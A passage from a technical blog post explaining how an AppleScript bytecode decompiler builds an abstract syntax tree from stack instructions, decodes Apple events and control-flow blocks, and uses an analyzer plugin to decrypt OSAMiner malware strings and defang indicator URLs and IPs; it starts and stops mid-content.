  <li>When an operation is performed, the operands (or arguments) are popped from the stack</li>
  <li>The result is pushed back into the stack</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
</span><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
</span>
<span class="c1"># Add
</span><span class="n">r_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">l_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">add_result</span> <span class="o">=</span> <span class="n">l_operand</span> <span class="o">+</span> <span class="n">r_operand</span>
<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">add_result</span><span class="p">)</span>
</code></pre></div></div>

<p>This might be fine if we want to just emulate the VM. However, because we want to decompile it, we need to retain all the logic. To do this, we need to define and use an Abstract Syntax Tree (AST) to represent certain operations rather than performing them.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
</span><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
</span>
<span class="c1"># Add
</span><span class="n">r_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">l_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">BinaryOp</span><span class="p">(</span>
    <span class="n">kind</span><span class="o">=</span><span class="s">"ADD"</span><span class="p">,</span>
    <span class="n">l</span><span class="o">=</span><span class="n">l_operand</span><span class="p">,</span>
    <span class="n">r</span><span class="o">=</span><span class="n">r_operand</span>
<span class="p">))</span>
</code></pre></div></div>

<p>Now let’s use a more complicated expression.</p>

<p><img src="/assets/posts/20251214/d01-basic-expression-2.png" alt="" /></p>

<p>Above, there is <code class="language-plaintext highlighter-rouge">Push1</code> and <code class="language-plaintext highlighter-rouge">PushLiteral*</code>. What’s the difference? For commonly used numbers like <code class="language-plaintext highlighter-rouge">1</code>, <code class="language-plaintext highlighter-rouge">2</code> and <code class="language-plaintext highlighter-rouge">-1</code> (maybe for iteration), there seems to be dedicated instructions for each of them. For other numbers and strings, the instruction is followed by a pointer to a literals table.</p>

<p>So for example, if we have <code class="language-plaintext highlighter-rouge">PushLiteralsExtended "hello world"</code> this is actually equivalent to the following code</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-- PushLiteralsExtended
v= get_next_word()          -- Get next word after PushLiteralsExtended instruction
v = literals[v]             -- Lookup the address `v` in some literals lookup table 
_stack.push(literals)       -- Push value to stack
</code></pre></div></div>

<p>Going back to the previous expression, <code class="language-plaintext highlighter-rouge">-(1 ^ 5) / 3</code> would result in something equivalent to this python script</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
</span><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="c1"># PushLiteral* 5
</span>
<span class="c1"># Power
</span><span class="n">r_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">l_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">BinaryOp</span><span class="p">(</span>
    <span class="n">kind</span><span class="o">=</span><span class="s">"POWER"</span><span class="p">,</span>
    <span class="n">l</span><span class="o">=</span><span class="n">l_operand</span><span class="p">,</span>
    <span class="n">r</span><span class="o">=</span><span class="n">r_operand</span>
<span class="p">))</span>

<span class="c1"># Negate
</span><span class="n">operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">UnaryOp</span><span class="p">(</span>
    <span class="n">kind</span><span class="o">=</span><span class="s">"NEGATE"</span><span class="p">,</span> 
    <span class="n">operand</span><span class="o">=</span><span class="n">operand</span>
<span class="p">))</span>

<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="c1"># Push3
</span>
<span class="c1"># Divide
</span><span class="n">r_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">l_operand</span> <span class="o">=</span> <span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
<span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">BinaryOp</span><span class="p">(</span>
    <span class="n">kind</span><span class="o">=</span><span class="s">"DIVIDE"</span><span class="p">,</span>
    <span class="n">l</span><span class="o">=</span><span class="n">l_operand</span><span class="p">,</span>
    <span class="n">r</span><span class="o">=</span><span class="n">r_operand</span>
<span class="p">))</span>
</code></pre></div></div>

<p>And when we see <code class="language-plaintext highlighter-rouge">StoreResult</code>, this is a usually the end of a statement. It’s the end of an expression or part of a set operation like <code class="language-plaintext highlighter-rouge">var = 1</code>. From the decompiler’s POV, this is when something is “printed out”.</p>

<h4 id="variables">Variables</h4>

<p>The next important thing is how variables are represented and used.</p>

<p><img src="/assets/posts/20251214/d03-variable.png" alt="" /></p>

<p>A <code class="language-plaintext highlighter-rouge">PopVariable*</code> occurs when we want to <code class="language-plaintext highlighter-rouge">set</code> the value of a varible. This doesn’t pop any value out of the runtime stack. I imagine that there is some variable registry that holds a pointer to variables that is used during the <code class="language-plaintext highlighter-rouge">set</code> operation.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">runtime_stack</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># Push1
# GetData (we ignore this)
</span>
<span class="c1"># We set the variable registry to point to [var_0]
</span><span class="n">_var</span> <span class="o">=</span> <span class="s">'[var_0]'</span> <span class="c1"># PopVariable [var_0]
</span>
<span class="c1"># StoreResult
</span><span class="n">code</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">SetStatement</span><span class="p">(</span>
    <span class="n">target</span><span class="o">=</span><span class="n">_var</span><span class="p">,</span>
    <span class="n">value</span><span class="o">=</span><span class="n">runtime_stack</span><span class="p">.</span><span class="n">pop</span><span class="p">(),</span>
<span class="p">))</span>
<span class="n">_var</span> <span class="o">=</span> <span class="bp">None</span>
</code></pre></div></div>

<p>When we encounter <code class="language-plaintext highlighter-rouge">StoreResult</code>, if <code class="language-plaintext highlighter-rouge">_var</code> is set. then this is a <code class="language-plaintext highlighter-rouge">set</code> statement. Otherwise, we just print out the expression in the top of the stack.</p>

<p>Finally, when we see <code class="language-plaintext highlighter-rouge">PushVariable</code>, this is how</p>

<p><img src="/assets/posts/20251214/d04-variable-2.png" alt="" /></p>

<h4 id="vectors-and-records">Vectors and Records</h4>

<p>This is how we make a list:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push element_1
...
Push element_N
Push &lt;number of elements&gt;
MakeVector -- [element_1, ..., element_N]
</code></pre></div></div>

<p>Making records (dictionaries), is similar but instead of pushing just the elements, you push value, key pairs</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push value_1
Push key_1
...
Push value_N
Push key_N
Push &lt;number of elements&gt;
MakeRecord -- {key_1: value_1, ..., key_n: value_N}
</code></pre></div></div>

<h4 id="records">Records</h4>

<h4 id="ast-recap">AST Recap</h4>

<p>To me, this problem has become a data structure problem (which I find very fun).</p>

<p>So as we go through the instructions, we define simple rules that push, pop, and combine values on the runtime stack in order to build the complex expressions that we see in the decompiled code.</p>

<p><img src="/assets/posts/20251214/d05-ast.png" alt="" /></p>

<p>This forms a data structure that you might call an Abstract Syntax Tree. Once we have this syntax tree, it is very easy to print out some psuedo-code by traversing the tree.</p>

<h4 id="handlerfunction-calls">Handler/Function Calls</h4>

<p>AppleScript uses the term <a href="https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/conceptual/ASLR_about_handlers.html">Handlers</a>, so we use the same terminology here.</p>

<p><img src="/assets/posts/20251214/d06-function-call.png" alt="" /></p>

<p>The general structure of a handler call convention looks like this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push &lt;target&gt;
Push arg0, arg1, ...
Push &lt;number of arguments&gt;
PositionalMessageSend &lt;handler name&gt;
</code></pre></div></div>

<p>The instruction <code class="language-plaintext highlighter-rouge">PositionalMessageSend</code> is equivalent to an invocation of a “handler call”.</p>

<p>So what is the <code class="language-plaintext highlighter-rouge">target</code>? There are different types of targets.</p>
<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">set</span><span class="w"> </span><span class="nv">other_script</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nb">load script</span><span class="w"> </span><span class="nv">POSIX</span><span class="w"> </span><span class="nv">file</span><span class="w"> </span><span class="s2">"/path/to/Logger.scpt"</span><span class="w">

</span><span class="c1">-- Uses other_script's definition of logMessage</span><span class="w">
</span><span class="nv">other_script</span>'s <span class="nv">logMessage</span><span class="p">(</span><span class="s2">"Hello"</span><span class="p">)</span><span class="w">   </span><span class="c1">-- Target: PushGlobal b'other_script' </span><span class="w">

</span><span class="c1">-- Explicitly uses the current script's logMessage</span><span class="w">
</span><span class="k">my</span><span class="w"> </span><span class="nv">logMessage</span><span class="p">(</span><span class="s2">"Hello"</span><span class="p">)</span><span class="w">               </span><span class="c1">-- Target: PushMe</span><span class="w">

</span><span class="c1">-- Uses the default logMessage</span><span class="w">
</span><span class="nv">logMessage</span><span class="p">(</span><span class="s2">"Hello"</span><span class="p">)</span><span class="w">                  </span><span class="c1">-- Target: PushIt</span><span class="w">

</span></code></pre></div></div>

<h4 id="sending-apple-events">Sending Apple Events</h4>

<p>When AppleScript automates another application’s actions, this is done through an Apple event.</p>

<p>Let’s say we have the following code</p>
<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">tell</span><span class="w"> </span><span class="nb">application</span><span class="w"> </span><span class="s2">"Terminal"</span><span class="w">
    </span><span class="nv">do</span><span class="w"> </span><span class="nv">script</span><span class="w"> </span><span class="s2">"whoami"</span><span class="w"> </span><span class="c1">-- opens a new empty window  </span><span class="w">
</span><span class="k">end</span><span class="w"> </span><span class="k">tell</span><span class="w">


</span><span class="nb">display dialog</span><span class="w"> </span><span class="s2">"This is a message with a note icon."</span><span class="w"> </span><span class="nv">with</span><span class="w"> </span><span class="nv">icon</span><span class="w"> </span><span class="nv">note</span><span class="w">
</span></code></pre></div></div>

<p>We might see the following instructions</p>

<p><img src="/assets/posts/20251214/d07-apple-event-1.png" alt="" /></p>

<p>The convention for sending an Apple event is</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push &lt;target application&gt;
Tell
    Push &lt;direct parameter&gt;
    Push &lt;parameter 1&gt;
    ...
    Push &lt;parameter N&gt;
    Push &lt;number of parameters&gt;
    MessageSend &lt;event code + event id&gt;
EndTell
</code></pre></div></div>

<p>In the example above, we see that:</p>

<table>
  <tbody>
    <tr>
      <td>Target App</td>
      <td><code class="language-plaintext highlighter-rouge">Terminal</code></td>
    </tr>
    <tr>
      <td>Event Code + Event ID</td>
      <td><code class="language-plaintext highlighter-rouge">coredosc</code></td>
    </tr>
    <tr>
      <td>Direct Parameter</td>
      <td><code class="language-plaintext highlighter-rouge">whoami</code></td>
    </tr>
    <tr>
      <td>Parameters</td>
      <td><em>None</em></td>
    </tr>
  </tbody>
</table>

<p>How do we get from <code class="language-plaintext highlighter-rouge">coredosc</code> to <code class="language-plaintext highlighter-rouge">do shell</code> ? When an application wants to support automation from AppleScript, it registers Apple events handlers for specific events. These are defined in the <code class="language-plaintext highlighter-rouge">*.sdef</code> files (scripting definition) of the application.  For easy lookup, I used <a href="https://github.com/JXA-userland/JXA/tree/4ad161a3ee56eb7e3e406ad20e9a19f0343132da/packages/%40jxa/types/tools/sdefs">JXA-userland/JXA</a> to search through some common apps.</p>

<p>If we look up <code class="language-plaintext highlighter-rouge">coredosc</code> in <code class="language-plaintext highlighter-rouge">Terminal.sdef</code> we can see that it is for <code class="language-plaintext highlighter-rouge">do script</code>.</p>

<p><img src="/assets/posts/20251214/d08-apple-event-1-sdef.png" alt="" />
<em>Terminal.sdef</em></p>

<p>For <code class="language-plaintext highlighter-rouge">display dialog</code> example above, there is no <code class="language-plaintext highlighter-rouge">tell</code> block for it. So what application does it send it to? I don’t know… but I guess it goes to macOS itself. You would either see the event in <a href="https://github.com/JXA-userland/JXA/blob/4ad161a3ee56eb7e3e406ad20e9a19f0343132da/packages/%40jxa/types/tools/sdefs/StandardAdditions.sdef">StandardAdditions.sdef</a> or under <a href="https://developer.apple.com/library/archive/releasenotes/AppleScript/ASTerminology_AppleEventCodes/TermsAndCodes.html">“AppleScript Language”</a>.</p>

<p><img src="/assets/posts/20251214/d09-apple-event-2.png" alt="" />
<em>display dialog</em></p>

<p>This results to the following Apple event</p>

<table>
  <tbody>
    <tr>
      <td>Target App</td>
      <td><em>None</em> (Standard Additions by default)</td>
    </tr>
    <tr>
      <td>Event Code + Event ID</td>
      <td><code class="language-plaintext highlighter-rouge">sysodlog</code></td>
    </tr>
    <tr>
      <td>Direct Parameter</td>
      <td><code class="language-plaintext highlighter-rouge">This is a message with a note icon.</code></td>
    </tr>
    <tr>
      <td>Parameters</td>
      <td><code class="language-plaintext highlighter-rouge">['disp', 'stic\x00\x00\x00\x01']</code></td>
    </tr>
  </tbody>
</table>

<p>Looking up in the <code class="language-plaintext highlighter-rouge">StandardAdditions.sdef</code> we can see that <code class="language-plaintext highlighter-rouge">sysodlog</code> and <code class="language-plaintext highlighter-rouge">disp</code> is <code class="language-plaintext highlighter-rouge">display dialog</code> and <code class="language-plaintext highlighter-rouge">with icon</code>.</p>

<p><img src="/assets/posts/20251214/d10-apple-event-sdef-1.png" alt="" />
<em>display dialog “…” with icon</em></p>

<p>And the specific icon <code class="language-plaintext highlighter-rouge">stic\x00\x00\x00\x01</code> resolves to <code class="language-plaintext highlighter-rouge">note</code></p>

<p><img src="/assets/posts/20251214/d11-apple-event-sdef-2.png" alt="" />
<em>stic of type note</em></p>

<h4 id="control-flow-structures">Control Flow Structures</h4>

<p>Now that we have discussed the basics expressions and function calls, we now need to discuss control flow structures. There are many different kinds of loops and structures. I will focus on just 3 control flow structures:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">try-on-error</code></li>
  <li><code class="language-plaintext highlighter-rouge">repeat with X in list</code></li>
  <li><code class="language-plaintext highlighter-rouge">if-then-else</code></li>
</ul>

<h5 id="try-on-error-blocks">Try-On-Error Blocks</h5>

<p>So we have two main blocks</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>try
    &lt;try block&gt;
on error 
    &lt;on error block&gt;
end try
</code></pre></div></div>

<p>The try block is easy to figure out. They start and end with a <code class="language-plaintext highlighter-rouge">ErrorHandler</code> and <code class="language-plaintext highlighter-rouge">EndErrorHandler</code> instructions.</p>

<p>In the other hand, the on-error block is defined by the addresses found in <code class="language-plaintext highlighter-rouge">ErrorHandler</code> and <code class="language-plaintext highlighter-rouge">EndErrorHandler</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ErrorHandler    &lt;address to the instruction start of the on-error block&gt;
...
EndErrorHandler &lt;address of the instruction after the on-error block&gt;
</code></pre></div></div>

<p><img src="/assets/posts/20251214/d12-try-blocks.png" alt="" /></p>

<h5 id="repeat-with-x-in-list">Repeat with X in list</h5>

<p>Repeat loops were challenging because there are many different types, and many of them were not implemented in the original disassembler.</p>

<p>All loops have a basic structure</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LinkRepeat &lt;address to the end of the loop&gt; -- useful to know where to go when using exit
...
&lt;specific repeat instruction&gt; -- RepeatInCollection 
...
Jump &lt;address to the start of the loop&gt;
</code></pre></div></div>

<p>If you have something like, then you only have <code class="language-plaintext highlighter-rouge">LinkRepeat</code> and <code class="language-plaintext highlighter-rouge">Jump</code> to find your repeat block.</p>

<div class="language-applescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">repeat</span><span class="w">
    </span><span class="k">set</span><span class="w"> </span><span class="nv">counter</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="nv">counter</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="w">
    </span><span class="nb">log</span><span class="w"> </span><span class="s2">"counter = "</span><span class="w"> </span><span class="o">&amp;</span><span class="w"> </span><span class="nv">counter</span><span class="w">
    </span><span class="k">if</span><span class="w"> </span><span class="nv">counter</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="k">exit</span><span class="w"> </span><span class="k">repeat</span><span class="w">
</span><span class="k">end</span><span class="w"> </span><span class="k">repeat</span><span class="w">
</span></code></pre></div></div>

<p>If we use the <code class="language-plaintext highlighter-rouge">repeat with x in y</code>, then we expect to see <code class="language-plaintext highlighter-rouge">RepeatInCollection</code> then instruction expects something like</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push &lt;y&gt;
Push &lt;length of y&gt;
RepeatInCollection &lt;x&gt;
</code></pre></div></div>

<p>In the compiled code, it looks a bit longer than that. However, if you analyze it, you’ve realize that the <code class="language-plaintext highlighter-rouge">corecnte</code> call is just to get the length of <code class="language-plaintext highlighter-rouge">x</code>.</p>

<p><img src="/assets/posts/20251214/d13-repeat.png" alt="" /></p>

<p>There are many other kinds of repeats such as <code class="language-plaintext highlighter-rouge">RepeatNTimes</code> , <code class="language-plaintext highlighter-rouge">RepeatWhile</code>, <code class="language-plaintext highlighter-rouge">RepeatUntil</code> , and <code class="language-plaintext highlighter-rouge">RepeatInRange</code>. You simply need to figure out what inputs need to be pushed in the runtime stack before the instruction is executed.</p>

<h5 id="if-else-statements">If-else statements</h5>

<p>Similar to the try-on-error blocks, we think of this as having two blocks</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if &lt;cond&gt; then
    &lt;then_block&gt;
else
    &lt;end_block&gt;
end if
</code></pre></div></div>

<p>The start and end of the blocks are more challenging to find.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Push   &lt;condition&gt;
TestIf &lt;address to the instruction start of the else block&gt;
...
Jump   &lt;address of the instruction after the else block&gt;
</code></pre></div></div>

<p><img src="/assets/posts/20251214/d14-if-else.png" alt="" /></p>

<p>What about <code class="language-plaintext highlighter-rouge">if-elseif-else</code> ? To simplify the process, we just treat these as nested in the <code class="language-plaintext highlighter-rouge">else</code> block.</p>

<p><img src="/assets/posts/20251214/d15-if-elseif-else.png" alt="" /></p>

<p>If both repeat and if-else blocks use the <code class="language-plaintext highlighter-rouge">Jump</code>, does it get confusing? Yes it does. I’m not really sure if I handled it correctly…</p>

<h4 id="dealing-with-nested-blocks">Dealing with nested blocks.</h4>

<p>To deal with the nesting of blocks, I maintained a <code class="language-plaintext highlighter-rouge">block_stack</code>, which simulates some parts of the native stack. Whenever the decompiler encounters a block, let’s say an <code class="language-plaintext highlighter-rouge">if-else</code> statement, then this is pushed on top of the <code class="language-plaintext highlighter-rouge">block_stack</code>. We continue looping through the disassembled instructions until we reach the end of the <code class="language-plaintext highlighter-rouge">if-else</code> blocks. If the <code class="language-plaintext highlighter-rouge">if-else</code> statement is complete, then we pop it out of the <code class="language-plaintext highlighter-rouge">block_stack</code> and we insert it to whatever is on the top of the <code class="language-plaintext highlighter-rouge">stack</code>.</p>

<h4 id="rendering-the-decompiled-code">Rendering the decompiled code</h4>

<p>For now, let’s assume that we have properly created a AST. What do we do now?  Well, we try to print out original code from this structure. This involves recursively printing out strings and slowly building out the source code.</p>

<p>A simplified version of this is</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">render</span><span class="p">(</span><span class="n">node</span><span class="p">):</span>
    <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">BinaryOp</span><span class="p">):</span>
        <span class="n">l_str</span> <span class="o">=</span> <span class="n">render</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">l</span><span class="p">)</span>
        <span class="n">r_str</span> <span class="o">=</span> <span class="n">render</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">r</span><span class="p">)</span>
        <span class="n">op_str</span> <span class="o">=</span> <span class="n">_binop_to_src</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">op</span><span class="p">)</span> <span class="c1"># Convert BinaryOpKind.ADD -&gt; "+"
</span>        <span class="k">return</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">l_str</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">op_str</span><span class="si">}</span><span class="s"> </span><span class="si">{</span><span class="n">r_str</span><span class="si">}</span><span class="s">"</span>
    <span class="k">elif</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">visit_NumberLiteral</span><span class="p">):</span>
        <span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">node</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>

<span class="n">node</span> <span class="o">=</span> <span class="n">BinaryOp</span><span class="p">(</span>
    <span class="n">l</span> <span class="o">=</span> <span class="n">BinaryOp</span><span class="p">(</span>
        <span class="n">l</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span>
        <span class="n">r</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span>
        <span class="n">op</span> <span class="o">=</span> <span class="n">BinaryOpKind</span><span class="p">.</span><span class="n">MUL</span>
    <span class="p">),</span>
    <span class="n">r</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span>
    <span class="n">op</span> <span class="o">=</span> <span class="n">BinaryOpKind</span><span class="p">.</span><span class="n">ADD</span>
<span class="p">)</span>
<span class="c1"># 2 * 3 + 3 
</span><span class="k">print</span><span class="p">(</span><span class="n">render</span><span class="p">(</span><span class="n">node</span><span class="p">))</span>
</code></pre></div></div>

<p>Of course, the code in the tool is more complicated than this. If the AST is defined and built properly, this should be one of the easier parts of the problem to code.</p>

<h4 id="automatic-debofuscation">Automatic Debofuscation</h4>

<p>Because we define the AST first and then we print it at the end. We can perform some processing before printing out the code. One example of this is decrypting the strings in <code class="language-plaintext highlighter-rouge">OSAMiner</code></p>

<p>To do this, we first need to understand how the AppleScriptPrinter works.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">AppleScriptPrinter</span><span class="p">:</span>
        <span class="p">...</span>
        <span class="k">def</span> <span class="nf">visit_SetStatement</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">:</span> <span class="n">SetStatement</span><span class="p">,</span> <span class="n">indent</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
            <span class="p">...</span>
        <span class="k">def</span> <span class="nf">visit_IfStatement</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">:</span> <span class="n">IfStatement</span><span class="p">,</span> <span class="n">indent</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
            <span class="p">...</span>
</code></pre></div></div>

<p>This class has a method for each node type in the AST. To decrypt all potential strings, we can override the <code class="language-plaintext highlighter-rouge">visit_StringLiteral</code> method that includes our decrypt function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">OSAMinerDecryptAnalyzer</span><span class="p">(</span><span class="n">AbstractAnalyzer</span><span class="p">):</span>
    <span class="c1"># This looks for non printable strings and assumes that this needs to be
</span>    <span class="c1"># decrypted with the `d` function
</span>    <span class="k">def</span> <span class="nf">visit_StringLiteral</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">node</span><span class="p">:</span> <span class="n">StringLiteral</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">node</span><span class="p">.</span><span class="n">value</span><span class="p">.</span><span class="n">isascii</span><span class="p">():</span>
            <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">printer</span><span class="p">.</span><span class="n">visit_StringLiteral</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="n">indent</span><span class="p">)</span>
        <span class="k">return</span> <span class="s">"</span><span class="se">\"</span><span class="s">"</span> <span class="o">+</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span> <span class="o">-</span> <span class="mi">100</span><span class="p">)</span> <span class="k">for</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">node</span><span class="p">.</span><span class="n">value</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\"</span><span class="s">"</span>
</code></pre></div></div>

<p>If we use the <code class="language-plaintext highlighter-rouge">--analyzer</code> parameter, this is injected to the <code class="language-plaintext highlighter-rouge">AppleScriptPrinter</code> and our analyzer will override the original <code class="language-plaintext highlighter-rouge">visit_StringLiteral</code>, essentially allowing us to hook into the way the string literals are printed out.</p>

<p>Although unlikely, let’s say we want to bring our own analyzer. You would need to create a class and extend <code class="language-plaintext highlighter-rouge">AbstractAnalyzer</code>. Instances of <code class="language-plaintext highlighter-rouge">AbstractAnalyzer</code> will the <code class="language-plaintext highlighter-rouge">self.printer</code>  attribute that can be used to pass the rendering back.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">applescript_decompiler.analyzer</span> <span class="kn">import</span> <span class="n">AbstractAnalyzer</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="k">def</span> <span class="nf">defang</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="c1"># Regex that matches IPv4 addresses, domains, and URLs in one pass
</span>    <span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nb">compile</span><span class="p">(</span>
        <span class="sa">r</span><span class="s">'\b(?:\d{1,3}\.){3}\d{1,3}\b'</span>              <span class="c1"># IPv4
</span>        <span class="sa">r</span><span class="s">'|'</span>
        <span class="sa">r</span><span class="s">'(?:https?://|ftp://|www\.)\S+'</span>            <span class="c1"># URLs
</span>        <span class="sa">r</span><span class="s">'|'</span>
        <span class="sa">r</span><span class="s">'\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b'</span>     <span class="c1"># Domains
</span>    <span class="p">)</span>

    <span class="k">def</span> <span class="nf">replacer</span><span class="p">(</span><span class="n">match</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">'.'</span><span class="p">,</span> <span class="s">'[.]'</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">pattern</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="n">replacer</span><span class="p">,</span> <span class="n">text</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">extract_defanged_iocs</span><span class="p">(</span><span class="n">text</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
    <span class="n">patterns</span> <span class="o">=</span> <span class="p">{</span>
        <span class="c1"># 192[.]168[.]1[.]1
</span>        <span class="s">"ips"</span><span class="p">:</span> <span class="sa">r</span><span class="s">'\b(?:\d{1,3}\[\.\]){3}\d{1,3}\b'</span><span class="p">,</span>

        <span class="c1"># example[.]com, sub[.]domain[.]co[.]uk
</span>        <span class="s">"domains"</span><span class="p">:</span> <span class="sa">r</span><span class="s">'\b(?:[a-zA-Z0-9-]+\[\.\])+[a-zA-Z]{2,}\b'</span><span class="p">,</span>

        <span class="c1"># http://example[.]com/path, https://sub[.]domain[.]net, www[.]test[.]org
</span>        <span class="c1"># (must contain [.] somewhere in the URL)
</span>        <span class="s">"urls"</span><span class="p">:</span> <span class="sa">r</span><span class="s">'\b(?:https?://|ftp://|www\.)\S*\[\.\]\S*'</span>
    <span class="p">}</span>

